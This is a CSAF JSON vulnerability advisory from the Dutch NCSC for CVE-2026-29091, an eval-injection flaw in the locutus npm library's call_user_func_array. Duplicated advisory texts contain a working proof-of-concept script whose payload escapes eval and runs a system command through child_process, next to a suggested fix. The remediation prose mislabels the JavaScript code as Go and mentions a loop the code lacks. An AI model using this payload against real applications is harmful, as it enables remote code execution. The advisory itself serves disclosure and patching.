{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-29091", "tracking": { "current_release_date": "2026-03-24T21:15:01.150756Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-29091", "initial_release_date": "2026-03-04T20:39:47.098107Z", "revision_history": [ { "date": "2026-03-04T20:39:47.098107Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-04T20:39:48.973289Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-05T00:20:52.015559Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-05T00:21:01.436990Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-06T05:17:32.438495Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-06T18:26:52.329186Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-06T18:26:54.780296Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-06T18:39:03.988721Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-06T18:39:09.555735Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-06T19:38:50.114321Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-03-06T23:39:45.011794Z", "number": "11", "summary": "References created (2)." }, { "date": "2026-03-07T00:21:04.399870Z", "number": "12", "summary": "References created (2)." }, { "date": "2026-03-07T14:47:06.499136Z", "number": "13", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-13T19:24:50.088441Z", "number": "14", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-13T19:24:54.995877Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-13T21:56:16.994729Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:35:38.610961Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:35:40.847443Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-03-24T21:14:52.429077Z", "number": "19", "summary": "NCSC Score updated." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.0.0", "product": { "name": "vers:unknown/<3.0.0", "product_id": "CSAFPID-5824981", "product_identification_helper": { "cpe": "cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*" } } } ], "category": "product_name", "name": "locutus" } ], "category": "vendor", "name": "locutus" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.0.0", "product": { "name": "vers:unknown/<3.0.0", "product_id": "CSAFPID-5767237" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.0.0", "product": { "name": "vers:unknown/>=0|<3.0.0", "product_id": "CSAFPID-5759797" } } ], "category": "product_name", "name": "locutus" } ], "category": "vendor", "name": "locutusjs" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-29091", "cwe": { "id": "CWE-95", "name": "Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')" }, "notes": [ { "category": "description", "text": "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n __dirname,\n \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n console.error(\"error target file not found\");\n process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n console.log(\"run\");\n call_user_func_array([\"Date\", payload], []);\n console.log(\"fail no error\");\n} catch (e) {\n const msg = e.message;\n if (msg && msg.includes(\"uid=\")) {\n console.log(\"pwn\");\n const proof = msg.split(\" is not a valid function\")[0];\n console.log(\"out \" + proof);\n } else {\n console.error(\"fail unexpected\");\n console.error(msg);\n process.exit(1);\n }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n if (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n var obj = null;\n try {\n obj = eval(cb[0]);\n } catch (e) {}\n if (obj && typeof obj[cb[1]] === \"function\") {\n func = obj[cb[1]];\n }\n }\n} else {\n func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati", "title": "github - https://github.com/advisories/GHSA-fp25-p6mj-qqg6" }, { "category": "description", "text": "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n __dirname,\n \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n console.error(\"error target file not found\");\n process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n console.log(\"run\");\n call_user_func_array([\"Date\", payload], []);\n console.log(\"fail no error\");\n} catch (e) {\n const msg = e.message;\n if (msg && msg.includes(\"uid=\")) {\n console.log(\"pwn\");\n const proof = msg.split(\" is not a valid function\")[0];\n console.log(\"out \" + proof);\n } else {\n console.error(\"fail unexpected\");\n console.error(msg);\n process.exit(1);\n }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n if (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n var obj = null;\n try {\n obj = eval(cb[0]);\n } catch (e) {}\n if (obj && typeof obj[cb[1]] === \"function\") {\n func = obj[cb[1]];\n }\n }\n} else {\n func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-fp25-p6mj-qqg6.json?alt=media" }, { "category": "description", "text": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-29091" }, { "category": "description", "text": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-29091" }, { "category": "other", "text": "0.00327", "title": "EPSS" }, { "category": "other", "text": "4.4", "title": "NCSC Score" }, { "category": "other", "text": "There is cvss data available from a private source, There is product data available from a private source", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5759797", "CSAFPID-5767237", "CSAFPID-5824981" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-fp25-p6mj-qqg6" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-fp25-p6mj-qqg6" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-fp25-p6mj-qqg6.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29091" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-29091" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-29091" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/29xxx/CVE-2026-29091.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-29091" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-fp25-p6mj-qqg6" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29091" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5759797", "CSAFPID-5767237", "CSAFPID-5824981" ] } ], "title": "CVE-2026-29091" } ] }